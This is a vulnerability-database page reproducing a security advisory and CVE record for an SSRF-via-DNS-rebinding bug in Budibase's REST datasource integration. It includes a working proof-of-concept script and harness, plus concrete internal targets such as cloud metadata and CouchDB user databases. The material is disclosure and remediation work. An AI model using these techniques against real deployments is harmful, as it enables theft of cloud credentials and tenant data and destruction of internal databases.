Vulnerability-Lookup

GHSA-V42F-V8XC-J435

Vulnerability from github – Published: 2026-07-24 21:44 – Updated: 2026-08-12 19:22

Summary

Budibase: SSRF via DNS rebinding in the REST datasource integration

Details

Summary

Budibase's central outbound-fetch guard (fetchWithBlacklist) prevents SSRF/DNS-rebinding by resolving the target hostname, checking every resolved IP against the blacklist, and pinning the connection to the validated IP. The pin is implemented as a Node http(s).Agent (makePinnedAgent). The fix for CVE-2026-54353 relies on this pin to stop DNS rebinding.

The REST datasource integration (@budibase/server) calls fetchWithBlacklist but performs the actual request with undici's fetch. undici does not support the Node agent option — it is silently ignored — and instead uses its own dispatcher, which re-resolves the hostname's DNS at connection time. As a result, the validated/pinned IP is never used on the REST datasource path, and the DNS-rebinding protection that CVE-2026-54353 added is silently defeated for the single most-used outbound path in Budibase.

An authenticated user who can configure/run a REST datasource (e.g. a builder/tenant) can use a rebinding hostname (public IP during validation, internal IP at connect) to make the server issue arbitrary, full-response HTTP requests to internal-only services — cloud metadata (IAM credential theft), the internal CouchDB/Redis/MinIO, and other internal endpoints — reading and, because REST datasources allow arbitrary method/body, writing or destroying internal data.

Details

The guard pins the validated IP via a Node agent — packages/backend-core/src/utils/outboundFetch.ts:

resolveSafePinnedIp(url) resolves the hostname and checks every address against isBlacklisted, returning a single pinnedIp (lines ~39–53).
makePinnedAgent(url, ip) builds a Node http.Agent/https.Agent whose lookup always returns pinnedIp, so a node-fetch connection can only reach the validated IP (lines ~55–68).
fetchWithBlacklist passes that agent into the request: fetchFn(nextUrl, { ...nextRequest, agent: makePinnedAgent(nextUrl, pinnedIp) }) (lines ~186–192). Each redirect hop is re-validated and re-pinned in the loop.

The REST integration overrides the transport with undici, which ignores agent — packages/server/src/integrations/rest.ts:

fetch is imported from undici (top-of-file import block, ~line 30).
The request is made by overriding fetchFn (lines ~767–793): ts const setDispatcher = (requestInput, requestUrl) => ({ ...requestInput, dispatcher: getDispatcher({ rejectUnauthorized, url: requestUrl }), }) ... response = await coreUtils.fetchWithBlacklist(url, input, { fetchFn: async (requestUrl, requestInput) => fetch(requestUrl, setDispatcher(requestInput, requestUrl)), // undici.fetch }) The options object reaching undici.fetch is { ...nextRequest, agent: <pinned Node Agent>, dispatcher: <getDispatcher result> }. undici uses dispatcher and ignores agent.

The dispatcher does no IP pinning — packages/backend-core/src/utils/fetch.ts:

getDispatcher → createDispatcher → (no proxy env) → createDirectAgent = new Agent({ connect: { rejectUnauthorized } }) (lines ~109–114, ~161–172, ~183). This is a plain undici Agent with no connect.lookup / no pin, so undici resolves the hostname's DNS itself at connect time.

Net effect (TOCTOU / DNS rebinding): fetchWithBlacklist validates the hostname → safe public IP and builds a pinned Node agent; the REST path then connects via undici, which re-resolves the same hostname independently. With a rebinding domain (TTL 0: public IP during validation, 127.0.0.1 / 169.254.169.254 / internal IP at connect), the request lands on an internal service — exactly the gap CVE-2026-54353's pin was meant to close.

Scope of impact / why it's REST-specific: rest.ts is the only caller that overrides fetchFn with undici. All other outbound sinks (automation outgoingWebhook/n8n/make/zapier/discord/slack, and AI-extract's processUrlFile) use the default node-fetch-based fetchWithBlacklist, which does honor the pinned agent and is not affected. REST datasource queries are the most common outbound path, and the response body is returned to the caller (full-response SSRF, not blind).

PoC

The PoC drives the real, unmodified guard code (outboundFetch.ts + fetch.ts, copied verbatim — sha256 verified) and reproduces the exact rest.ts call pattern. Only the ../blacklist module is stubbed to model the rebinding input (validation observes a safe public IP). Requires Node 18+.

# prerequisite: a Budibase checkout; set BB to its path
export BB=/path/to/budibase
mkdir ssrf-poc && cd ssrf-poc
SRC="$BB/packages/backend-core/src"

# 1) Copy the REAL guard code, verbatim (sha proves no edits)
mkdir -p real/utils real/blacklist
cp "$SRC/utils/outboundFetch.ts" real/utils/
cp "$SRC/utils/fetch.ts"         real/utils/

# 2) Scenario stub = the rebinding INPUT: validation sees a safe, non-blacklisted public IP
cat > real/blacklist/index.ts <<'EOF'
const SAFE = "203.0.113.10" // RFC5737 TEST-NET-3, not blacklisted -> validation passes
export async function resolveAddress(_a: string): Promise<string[]> { return [SAFE] }
export async function isBlacklisted(a: string): Promise<boolean> { return a !== SAFE }
EOF

# 3) Harness = REAL fetchWithBlacklist + REAL getDispatcher, exact rest.ts pattern
cat > entry.ts <<'EOF'
import http from "http"
import { fetch as undiciFetch } from "undici"
import { fetchWithBlacklist } from "./real/utils/outboundFetch" // REAL guard
import { getDispatcher } from "./real/utils/fetch"              // REAL dispatcher
async function main() {
  const server = http.createServer((_q, r) => r.end("INTERNAL_SECRET_RESPONSE"))
  await new Promise<void>(r => server.listen(0, "127.0.0.1", r))
  const port = (server.address() as any).port
  const target = `http://localhost:${port}/` // OS resolves localhost -> 127.0.0.1 at connect
  console.log(`[*] internal service 127.0.0.1:${port}; guard validates host -> 203.0.113.10 (safe), pins to it`)

  // (A) REST datasource path: undici fetch + real getDispatcher (exactly rest.ts).
  const restFetchFn = (u: string, i: any) =>
    undiciFetch(u, { ...i, dispatcher: getDispatcher({ url: u, rejectUnauthorized: true }) as any }) as any
  let A: string
  try { const r: any = await fetchWithBlacklist(target, { method: "GET" } as any, { fetchFn: restFetchFn }); A = `status ${r.status} body=${await r.text()}` }
  catch (e: any) { A = `ERROR ${e.message}` }
  console.log("(A) REST/undici path  ->", A)

  // (B) Negative control: default fetchFn (node-fetch) honors the pinned agent.
  let B: string
  try { const r: any = await fetchWithBlacklist(target, { method: "GET", timeout: 3000 } as any); B = `status ${r.status} body=${await r.text()}` }
  catch (e: any) { B = `ERROR ${e.message}` }
  console.log("(B) node-fetch path   ->", B)

  const bypass = A.includes("INTERNAL_SECRET_RESPONSE"), contained = !B.includes("INTERNAL_SECRET_RESPONSE")
  console.log(`\nRESULT: ${bypass && contained ? "PASS - undici path BYPASSES guard, node-fetch path CONTAINED" : "FAIL"}`)
  server.close(); process.exit(bypass && contained ? 0 : 1)
}
main()
EOF

# 4) Deps, bundle, run
npm init -y >/dev/null 2>&1
npm install undici@6 node-fetch@2 esbuild
npx esbuild entry.ts --bundle --platform=node --format=cjs --outfile=entry.cjs
node entry.cjs

Expected output (the port is the only variable):

[*] internal service 127.0.0.1:<random>; guard validates host -> 203.0.113.10 (safe), pins to it
(A) REST/undici path  -> status 200 body=INTERNAL_SECRET_RESPONSE
(B) node-fetch path   -> ERROR Failed to connect to resolved IP for localhost: network timeout at: http://localhost:<random>/

RESULT: PASS - undici path BYPASSES guard, node-fetch path CONTAINED

How to read it: - (A) the real fetchWithBlacklist validated and pinned the safe public IP 203.0.113.10, yet the undici REST transport re-resolved localhost and reached 127.0.0.1 — the internal service responded → SSRF bypass. - (B) the default node-fetch path honored the pin (forced to the unroutable 203.0.113.10) and never reached the internal service. The "Failed to connect to resolved IP for localhost" string is emitted by the real outboundFetch.ts, proving the pin works there. This is the negative control localizing the bug to the undici transport.

Real-world variant: instead of localhost, an attacker uses a domain they control with a 0-second TTL that returns a public IP during the guard's validation lookup and an internal IP (169.254.169.254, 127.0.0.1, internal CouchDB/Redis) at undici's connect-time lookup; the REST datasource query then returns the internal response body to the attacker.

Impact

Type: Server-Side Request Forgery via DNS rebinding (CWE-918 + CWE-367), full-response and with arbitrary HTTP method/body (REST datasources let the caller choose method, headers, and body).

Who is impacted: Any Budibase deployment on an affected version, especially multi-tenant / Budibase-Cloud-style hosting where builders/tenants are not trusted with host-internal access. The SSRF blacklist is the control that contains those users; this bypass defeats it.

Realistic worst case: An authenticated builder/tenant points a REST datasource at a rebinding host and makes the server: - read cloud metadata (http://169.254.169.254/...) → steal IAM credentials → cloud account compromise; - read the internal CouchDB (http://127.0.0.1:5984/_all_dbs, _users) → all tenants' apps, users, and secrets; - using PUT/POST/DELETE against unauthenticated localhost services → create admin documents, modify or delete tenant databases / flush caches → integrity and availability loss for all co-tenants.

CVSS 3.1 Vector Justification

Metric	Value	Why
Attack Vector (AV)	Network (N)	Triggered through Budibase's HTTP API / app (a REST datasource query).
Attack Complexity (AC)	High (H)	Requires DNS rebinding — the validation-time IP must differ from the connect-time IP (TOCTOU). A direct internal request without rebinding is blocked by the blacklist, so the race is mandatory.
Privileges Required (PR)	Low (L)	Requires an authenticated account that can configure/run a REST datasource (builder/tenant).
User Interaction (UI)	None (N)	The attacker configures and triggers the request; no victim interaction.
Scope (S)	Changed (C)	Canonical SSRF: the vulnerable component is abused to reach resources in other security authorities (cloud metadata, internal CouchDB/Redis/MinIO).
Confidentiality (C)	High (H)	Full-response SSRF: read cloud IAM credentials and the internal CouchDB (every tenant's apps, users, secrets).
Integrity (I)	High (H)	Arbitrary method/body allows `PUT`/`POST`/`DELETE` to unauthenticated localhost services (CouchDB `:5984`) → create admin docs, modify tenant data.
Availability (A)	High (H)	The same write primitive can `DELETE` databases / flush Redis → full data/service loss for all tenants.

Notes: AC:H is the standard, defensible scoring for DNS rebinding; if rebinding is treated as reliable (TTL-0 frameworks), AC:L yields CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H. A conservative read-only interpretation is I:N/A:N.

Suggested remediation

Make the transport that actually performs the request honor the validated IP. In getDispatcher/rest.ts, construct the undici Agent with a connect: { lookup } (or custom connect) that returns only the pinnedIp resolved by fetchWithBlacklist (i.e., mirror makePinnedAgent for undici), so the dispatcher cannot re-resolve DNS; alternatively, re-check the resolved peer IP against isBlacklisted inside the undici connect callback. The Node-agent pin must not be relied upon when the request is issued through undici.

Severity

8.5 (High)


                  
                    CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:H

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "@budibase/server"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "3.38.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-73410"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-367",
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-24T21:44:27Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "### Summary\nBudibase\u0027s central outbound-fetch guard (`fetchWithBlacklist`) prevents SSRF/DNS-rebinding by resolving the target hostname, checking every resolved IP against the blacklist, and **pinning** the connection to the validated IP. The pin is implemented as a Node `http(s).Agent` (`makePinnedAgent`). The fix for CVE-2026-54353 relies on this pin to stop DNS rebinding.\n\nThe REST datasource integration (`@budibase/server`) calls `fetchWithBlacklist` but performs the actual request with **undici**\u0027s `fetch`. undici does not support the Node `agent` option \u2014 it is silently ignored \u2014 and instead uses its own `dispatcher`, which re-resolves the hostname\u0027s DNS at connection time. As a result, **the validated/pinned IP is never used on the REST datasource path**, and the DNS-rebinding protection that CVE-2026-54353 added is silently defeated for the single most-used outbound path in Budibase.\n\nAn authenticated user who can configure/run a REST datasource (e.g. a builder/tenant) can use a rebinding hostname (public IP during validation, internal IP at connect) to make the server issue arbitrary, full-response HTTP requests to internal-only services \u2014 cloud metadata (IAM credential theft), the internal CouchDB/Redis/MinIO, and other internal endpoints \u2014 reading and, because REST datasources allow arbitrary method/body, writing or destroying internal data.\n\n\n### Details\n**The guard pins the validated IP via a Node agent** \u2014 `packages/backend-core/src/utils/outboundFetch.ts`:\n\n- `resolveSafePinnedIp(url)` resolves the hostname and checks every address against `isBlacklisted`, returning a single `pinnedIp` (lines ~39\u201353).\n- `makePinnedAgent(url, ip)` builds a **Node** `http.Agent`/`https.Agent` whose `lookup` always returns `pinnedIp`, so a node-fetch connection can only reach the validated IP (lines ~55\u201368).\n- `fetchWithBlacklist` passes that agent into the request: `fetchFn(nextUrl, { ...nextRequest, agent: makePinnedAgent(nextUrl, pinnedIp) })` (lines ~186\u2013192). Each redirect hop is re-validated and re-pinned in the loop.\n\n**The REST integration overrides the transport with undici, which ignores `agent`** \u2014 `packages/server/src/integrations/rest.ts`:\n\n- `fetch` is imported from **`undici`** (top-of-file import block, ~line 30).\n- The request is made by overriding `fetchFn` (lines ~767\u2013793):\n  ```ts\n  const setDispatcher = (requestInput, requestUrl) =\u003e ({\n    ...requestInput,\n    dispatcher: getDispatcher({ rejectUnauthorized, url: requestUrl }),\n  })\n  ...\n  response = await coreUtils.fetchWithBlacklist(url, input, {\n    fetchFn: async (requestUrl, requestInput) =\u003e\n      fetch(requestUrl, setDispatcher(requestInput, requestUrl)), // undici.fetch\n  })\n  ```\n  The options object reaching `undici.fetch` is `{ ...nextRequest, agent: \u003cpinned Node Agent\u003e, dispatcher: \u003cgetDispatcher result\u003e }`. **undici uses `dispatcher` and ignores `agent`.**\n\n**The dispatcher does no IP pinning** \u2014 `packages/backend-core/src/utils/fetch.ts`:\n\n- `getDispatcher` \u2192 `createDispatcher` \u2192 (no proxy env) \u2192 `createDirectAgent` = `new Agent({ connect: { rejectUnauthorized } })` (lines ~109\u2013114, ~161\u2013172, ~183). This is a plain undici `Agent` with **no `connect.lookup` / no pin**, so undici resolves the hostname\u0027s DNS itself at connect time.\n\n**Net effect (TOCTOU / DNS rebinding):** `fetchWithBlacklist` validates the hostname \u2192 safe public IP and builds a pinned Node agent; the REST path then connects via undici, which re-resolves the same hostname independently. With a rebinding domain (TTL 0: public IP during validation, `127.0.0.1` / `169.254.169.254` / internal IP at connect), the request lands on an internal service \u2014 exactly the gap CVE-2026-54353\u0027s pin was meant to close.\n\n**Scope of impact / why it\u0027s REST-specific:** `rest.ts` is the only caller that overrides `fetchFn` with undici. All other outbound sinks (automation `outgoingWebhook`/`n8n`/`make`/`zapier`/`discord`/`slack`, and AI-extract\u0027s `processUrlFile`) use the default node-fetch-based `fetchWithBlacklist`, which **does** honor the pinned agent and is **not** affected. REST datasource queries are the most common outbound path, and the response body is returned to the caller (full-response SSRF, not blind).\n\n### PoC\nThe PoC drives the **real, unmodified** guard code (`outboundFetch.ts` + `fetch.ts`, copied verbatim \u2014 sha256 verified) and reproduces the exact `rest.ts` call pattern. Only the `../blacklist` module is stubbed to model the rebinding **input** (validation observes a safe public IP). Requires Node 18+.\n\n```bash\n# prerequisite: a Budibase checkout; set BB to its path\nexport BB=/path/to/budibase\nmkdir ssrf-poc \u0026\u0026 cd ssrf-poc\nSRC=\"$BB/packages/backend-core/src\"\n\n# 1) Copy the REAL guard code, verbatim (sha proves no edits)\nmkdir -p real/utils real/blacklist\ncp \"$SRC/utils/outboundFetch.ts\" real/utils/\ncp \"$SRC/utils/fetch.ts\"         real/utils/\n\n# 2) Scenario stub = the rebinding INPUT: validation sees a safe, non-blacklisted public IP\ncat \u003e real/blacklist/index.ts \u003c\u003c\u0027EOF\u0027\nconst SAFE = \"203.0.113.10\" // RFC5737 TEST-NET-3, not blacklisted -\u003e validation passes\nexport async function resolveAddress(_a: string): Promise\u003cstring[]\u003e { return [SAFE] }\nexport async function isBlacklisted(a: string): Promise\u003cboolean\u003e { return a !== SAFE }\nEOF\n\n# 3) Harness = REAL fetchWithBlacklist + REAL getDispatcher, exact rest.ts pattern\ncat \u003e entry.ts \u003c\u003c\u0027EOF\u0027\nimport http from \"http\"\nimport { fetch as undiciFetch } from \"undici\"\nimport { fetchWithBlacklist } from \"./real/utils/outboundFetch\" // REAL guard\nimport { getDispatcher } from \"./real/utils/fetch\"              // REAL dispatcher\nasync function main() {\n  const server = http.createServer((_q, r) =\u003e r.end(\"INTERNAL_SECRET_RESPONSE\"))\n  await new Promise\u003cvoid\u003e(r =\u003e server.listen(0, \"127.0.0.1\", r))\n  const port = (server.address() as any).port\n  const target = `http://localhost:${port}/` // OS resolves localhost -\u003e 127.0.0.1 at connect\n  console.log(`[*] internal service 127.0.0.1:${port}; guard validates host -\u003e 203.0.113.10 (safe), pins to it`)\n\n  // (A) REST datasource path: undici fetch + real getDispatcher (exactly rest.ts).\n  const restFetchFn = (u: string, i: any) =\u003e\n    undiciFetch(u, { ...i, dispatcher: getDispatcher({ url: u, rejectUnauthorized: true }) as any }) as any\n  let A: string\n  try { const r: any = await fetchWithBlacklist(target, { method: \"GET\" } as any, { fetchFn: restFetchFn }); A = `status ${r.status} body=${await r.text()}` }\n  catch (e: any) { A = `ERROR ${e.message}` }\n  console.log(\"(A) REST/undici path  -\u003e\", A)\n\n  // (B) Negative control: default fetchFn (node-fetch) honors the pinned agent.\n  let B: string\n  try { const r: any = await fetchWithBlacklist(target, { method: \"GET\", timeout: 3000 } as any); B = `status ${r.status} body=${await r.text()}` }\n  catch (e: any) { B = `ERROR ${e.message}` }\n  console.log(\"(B) node-fetch path   -\u003e\", B)\n\n  const bypass = A.includes(\"INTERNAL_SECRET_RESPONSE\"), contained = !B.includes(\"INTERNAL_SECRET_RESPONSE\")\n  console.log(`\\nRESULT: ${bypass \u0026\u0026 contained ? \"PASS - undici path BYPASSES guard, node-fetch path CONTAINED\" : \"FAIL\"}`)\n  server.close(); process.exit(bypass \u0026\u0026 contained ? 0 : 1)\n}\nmain()\nEOF\n\n# 4) Deps, bundle, run\nnpm init -y \u003e/dev/null 2\u003e\u00261\nnpm install undici@6 node-fetch@2 esbuild\nnpx esbuild entry.ts --bundle --platform=node --format=cjs --outfile=entry.cjs\nnode entry.cjs\n```\n\n**Expected output** (the port is the only variable):\n\n```\n[*] internal service 127.0.0.1:\u003crandom\u003e; guard validates host -\u003e 203.0.113.10 (safe), pins to it\n(A) REST/undici path  -\u003e status 200 body=INTERNAL_SECRET_RESPONSE\n(B) node-fetch path   -\u003e ERROR Failed to connect to resolved IP for localhost: network timeout at: http://localhost:\u003crandom\u003e/\n\nRESULT: PASS - undici path BYPASSES guard, node-fetch path CONTAINED\n```\n\n**How to read it:**\n- **(A)** the real `fetchWithBlacklist` validated and pinned the safe public IP `203.0.113.10`, yet the undici REST transport re-resolved `localhost` and reached `127.0.0.1` \u2014 the internal service responded \u2192 **SSRF bypass**.\n- **(B)** the default node-fetch path honored the pin (forced to the unroutable `203.0.113.10`) and never reached the internal service. The `\"Failed to connect to resolved IP for localhost\"` string is emitted by the real `outboundFetch.ts`, proving the pin works there. This is the negative control localizing the bug to the undici transport.\n\n**Real-world variant:** instead of `localhost`, an attacker uses a domain they control with a 0-second TTL that returns a public IP during the guard\u0027s validation lookup and an internal IP (`169.254.169.254`, `127.0.0.1`, internal CouchDB/Redis) at undici\u0027s connect-time lookup; the REST datasource query then returns the internal response body to the attacker.\n\n### Impact\n**Type:** Server-Side Request Forgery via DNS rebinding (CWE-918 + CWE-367), full-response and with arbitrary HTTP method/body (REST datasources let the caller choose method, headers, and body).\n\n**Who is impacted:** Any Budibase deployment on an affected version, especially multi-tenant / Budibase-Cloud-style hosting where builders/tenants are not trusted with host-internal access. The SSRF blacklist is the control that contains those users; this bypass defeats it.\n\n**Realistic worst case:** An authenticated builder/tenant points a REST datasource at a rebinding host and makes the server:\n- read cloud metadata (`http://169.254.169.254/...`) \u2192 steal IAM credentials \u2192 **cloud account compromise**;\n- read the internal CouchDB (`http://127.0.0.1:5984/_all_dbs`, `_users`) \u2192 **all tenants\u0027 apps, users, and secrets**;\n- using `PUT`/`POST`/`DELETE` against unauthenticated localhost services \u2192 create admin documents, modify or **delete** tenant databases / flush caches \u2192 integrity and availability loss for all co-tenants.\n\n### CVSS 3.1 Vector Justification\n\n| Metric | Value | Why |\n|---|---|---|\n| Attack Vector (AV) | Network (N) | Triggered through Budibase\u0027s HTTP API / app (a REST datasource query). |\n| Attack Complexity (AC) | High (H) | Requires DNS rebinding \u2014 the validation-time IP must differ from the connect-time IP (TOCTOU). A direct internal request without rebinding is blocked by the blacklist, so the race is mandatory. |\n| Privileges Required (PR) | Low (L) | Requires an authenticated account that can configure/run a REST datasource (builder/tenant). |\n| User Interaction (UI) | None (N) | The attacker configures and triggers the request; no victim interaction. |\n| Scope (S) | Changed (C) | Canonical SSRF: the vulnerable component is abused to reach resources in other security authorities (cloud metadata, internal CouchDB/Redis/MinIO). |\n| Confidentiality (C) | High (H) | Full-response SSRF: read cloud IAM credentials and the internal CouchDB (every tenant\u0027s apps, users, secrets). |\n| Integrity (I) | High (H) | Arbitrary method/body allows `PUT`/`POST`/`DELETE` to unauthenticated localhost services (CouchDB `:5984`) \u2192 create admin docs, modify tenant data. |\n| Availability (A) | High (H) | The same write primitive can `DELETE` databases / flush Redis \u2192 full data/service loss for all tenants. |\n\n**Notes:** AC:H is the standard, defensible scoring for DNS rebinding; if rebinding is treated as reliable (TTL-0 frameworks), `AC:L` yields `CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H`. A conservative read-only interpretation  is `I:N/A:N`.\n\n### Suggested remediation\n\nMake the transport that actually performs the request honor the validated IP. In `getDispatcher`/`rest.ts`, construct the undici `Agent` with a `connect: { lookup }` (or custom `connect`) that returns **only** the `pinnedIp` resolved by `fetchWithBlacklist` (i.e., mirror `makePinnedAgent` for undici), so the dispatcher cannot re-resolve DNS; alternatively, re-check the resolved peer IP against `isBlacklisted` inside the undici `connect` callback. The Node-`agent` pin must not be relied upon when the request is issued through undici.",
  "id": "GHSA-v42f-v8xc-j435",
  "modified": "2026-08-12T19:22:50Z",
  "published": "2026-07-24T21:44:27Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/Budibase/budibase/security/advisories/GHSA-v42f-v8xc-j435"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Budibase/budibase/pull/19178"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Budibase/budibase/commit/1fecb3fc3497e8db7b60b42cc514ce304ffe3a41"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Budibase/budibase/commit/5758bdb242802ca20c4ed0dc579e4330ee898ef3"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Budibase/budibase/commit/586802b5706367520d14245e18a7d0cabab0be11"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/Budibase/budibase"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Budibase/budibase/releases/tag/3.39.30"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Budibase: SSRF via DNS rebinding in the REST datasource integration"
}

CVE-2026-73410 (GCVE-0-2026-73410)

Vulnerability from cvelistv5 – Published: 2026-08-17 20:27 – Updated: 2026-08-17 22:01

Title

Budibase: SSRF via DNS rebinding in the REST datasource integration

Summary

Budibase is an open-source low-code platform. Prior to 3.40.0, packages/backend-core/src/utils/outboundFetch.ts pinned a validated address through a Node agent, but the REST integration used getDispatcher from packages/backend-core/src/utils/fetch.ts, causing undici to ignore that agent and resolve the hostname again. A builder could use DNS rebinding to make packages/server/src/integrations/rest.ts connect to an internal address after a public address passed validation, with full response access and arbitrary REST methods. The fix adds createPinnedLookup support to the undici dispatcher and passes the validated address to custom fetch implementations. This issue is fixed in version 3.40.0.

Severity

8.5 (High)


                        
                          CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:H

SSVC

Exploitation: none Automatable: no Technical Impact: total

CISA Coordinator · CISA-ADP (v2.0.3)

Decision recorded 2026-08-17 21:59 UTC

CWE

CWE-367 - Time-of-check Time-of-use (TOCTOU) Race Condition
CWE-918 - Server-Side Request Forgery (SSRF)

Assigner

GitHub_M mitre root

References

2 references

URL	Tags
https://github.com/Budibase/budibase/security/adv…	x_refsource_CONFIRM
https://github.com/Budibase/budibase/commit/5758b…	x_refsource_MISC

Impacted products

1 product

Vendor	Product	Version
Budibase	budibase	Affected: < 3.40.0

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2026-73410",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "total"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2026-08-17T21:59:12.000334Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-08-17T22:01:01.232Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
      "affected": [
        {
          "product": "budibase",
          "vendor": "Budibase",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c 3.40.0"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "Budibase is an open-source low-code platform. Prior to 3.40.0, packages/backend-core/src/utils/outboundFetch.ts pinned a validated address through a Node agent, but the REST integration used getDispatcher from packages/backend-core/src/utils/fetch.ts, causing undici to ignore that agent and resolve the hostname again. A builder could use DNS rebinding to make packages/server/src/integrations/rest.ts connect to an internal address after a public address passed validation, with full response access and arbitrary REST methods. The fix adds createPinnedLookup support to the undici dispatcher and passes the validated address to custom fetch implementations. This issue is fixed in version 3.40.0."
        }
      ],
      "metrics": [
        {
          "cvssV3_1": {
            "attackComplexity": "HIGH",
            "attackVector": "NETWORK",
            "availabilityImpact": "HIGH",
            "baseScore": 8.5,
            "baseSeverity": "HIGH",
            "confidentialityImpact": "HIGH",
            "integrityImpact": "HIGH",
            "privilegesRequired": "LOW",
            "scope": "CHANGED",
            "userInteraction": "NONE",
            "vectorString": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:H",
            "version": "3.1"
          }
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-367",
              "description": "CWE-367: Time-of-check Time-of-use (TOCTOU) Race Condition",
              "lang": "en",
              "type": "CWE"
            }
          ]
        },
        {
          "descriptions": [
            {
              "cweId": "CWE-918",
              "description": "CWE-918: Server-Side Request Forgery (SSRF)",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-08-17T20:27:24.080Z",
        "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
        "shortName": "GitHub_M"
      },
      "references": [
        {
          "name": "https://github.com/Budibase/budibase/security/advisories/GHSA-v42f-v8xc-j435",
          "tags": [
            "x_refsource_CONFIRM"
          ],
          "url": "https://github.com/Budibase/budibase/security/advisories/GHSA-v42f-v8xc-j435"
        },
        {
          "name": "https://github.com/Budibase/budibase/commit/5758bdb242802ca20c4ed0dc579e4330ee898ef3",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/Budibase/budibase/commit/5758bdb242802ca20c4ed0dc579e4330ee898ef3"
        }
      ],
      "source": {
        "advisory": "GHSA-v42f-v8xc-j435",
        "discovery": "UNKNOWN"
      },
      "title": "Budibase: SSRF via DNS rebinding in the REST datasource integration"
    }
  },
  "cveMetadata": {
    "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
    "assignerShortName": "GitHub_M",
    "cveId": "CVE-2026-73410",
    "datePublished": "2026-08-17T20:27:24.080Z",
    "dateReserved": "2026-08-12T14:32:11.795Z",
    "dateUpdated": "2026-08-17T22:01:01.232Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Detection rules are retrieved from Rulezet.

The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base model, served locally by ML-Gateway. They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.

Action not permitted

GHSA-V42F-V8XC-J435

Summary

Details

PoC

Impact

CVSS 3.1 Vector Justification

Suggested remediation

CVE-2026-73410 (GCVE-0-2026-73410)

Tags

Sightings

Nomenclature